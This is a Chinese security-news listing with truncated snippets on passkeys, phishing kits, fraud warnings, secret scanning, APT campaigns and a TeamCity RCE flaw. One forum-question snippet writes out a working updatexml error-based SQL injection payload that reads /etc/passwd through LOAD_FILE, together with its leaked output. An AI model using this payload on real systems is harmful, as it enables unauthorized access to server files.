文章列表
Google将密码作为所有用户的默认登录方式
谷歌周二宣布，所有用户都可以默认设置密钥，五个月前，谷歌在所有平台上推出了对FIDO联盟支持的谷歌账户无密码标准的支持。“这意味着下次登录帐户时，您将开始看到创建和使用密钥的提示，简化您未来的登录，”谷歌的Sriram Karra和Christiaan Brand说。“这也意味着你会在谷歌账户设置中看到‘可能时
网络犯罪分子使用EvilProxy网络钓鱼工具包瞄准美国的高级管理人员公司
在美国工作的高级管理人员-基于的组织正成为一种新的网络钓鱼活动的目标，该活动利用名为EvilProxy的流行中间对手（AiTM）网络钓鱼工具包进行凭据获取和帐户接管攻击。门洛Security表示，该活动始于2023年7月，主要针对银行和金融服务、保险、物业管理和真实的地产以及制造业。安全研究员Ravisankar Ra
金融监管部门提示：谨防“AI 换脸”等新型诈骗手段
10 月 9 日消息，近年来，不法分子不断翻新诈骗手段，让金融消费者防不胜防，个人财产安全受到严重威胁。IT之家注意到，国家金融监督管理总局北京监管局近日发布风险提示，提醒消费者近期重点防范三种新型欺诈手段，守护家人亲朋财产安全。骗局一：校园贷款连环套，又欠钱来又被骗国家金融监督管理总局
GitHub 的秘密扫描功能现已覆盖 AWS、微软、谷歌和 Slack
GitHub宣布改进其秘密扫描功能，将有效性检查扩展到 Amazon Web Services (AWS)、Microsoft、Google 和 Slack 等流行服务。微软子公司今年早些时候推出了有效性检查，可以提醒用户通过秘密扫描发现的暴露令牌是否处于活动状态，从而可以采取有效的补救措施。它首先是针对 GitHub 令牌启用的。基于云的
中国黑客利用钴攻击东亚半导体公司
据观察，威胁行为者利用伪装成台湾积体电路制造公司 (TSMC) 的诱饵瞄准东亚的半导体公司，这些诱饵旨在提供 Cobalt Strike 信标。根据EclecticIQ 的说法，入侵集利用了一个名为 HyperBro 的后门，然后将其用作部署商业攻击模拟软件和后利用工具包的渠道。据称，另一种攻击序列利用了之前未记录的恶意软
求助MySQL delete语句 updatexml报错注入问题？ 求助大佬！
事情是这样的：被带入的数据库SQL：DELETE FROM polloptions WHERE polloptionid='146640' and updatexml(1,concat(0x7e,substr((select LOAD_FILE('/etc/passwd')),1,31),0x7e),1)-- +' AND tid='18'报错回显：XPATH syntax error: '~root:x:0:0:root:/root:/bin/bash'这个使用updatexml函数 报错注入
圭亚那政府实体在网络间谍攻击中遭到 DinodasRAT 攻击
圭亚那的一个政府实体已成为名为“水雉行动”的网络间谍活动的一部分。ESET 于 2023 年 2 月检测到该活动，该活动涉及鱼叉式网络钓鱼攻击，导致部署迄今为止未记录的用 C++ 编写的名为 DinodasRAT 的植入程序。这家斯洛伐克网络安全公司表示，它可能将此次入侵与已知的威胁行为者或组织联系起来，但由
上海音乐学院(shcmusic.edu.cn) 某小程序存在越权漏洞
上海音乐学院(shcmusic.edu.cn) 某小程序存在越权漏洞
上海交通大学(sjtu.edu.cn) 某系统存在未授权
上海交通大学(sjtu.edu.cn) 某系统存在未授权
勒索软件团伙现在利用 TeamCity RC 漏洞
勒索软件团伙现在利用 TeamCity RCE 关键漏洞勒索软件团伙现在瞄准了 JetBrains TeamCity 持续集成和部署服务器中最近修补的关键漏洞。该缺陷（追踪为 CVE-2023-42793，严重性评分为 9.8/10）允许未经身份验证的攻击者在不需要用户交互的低复杂性攻击中成功利用身份验证绕过漏洞后获得远程代码执行 (RC
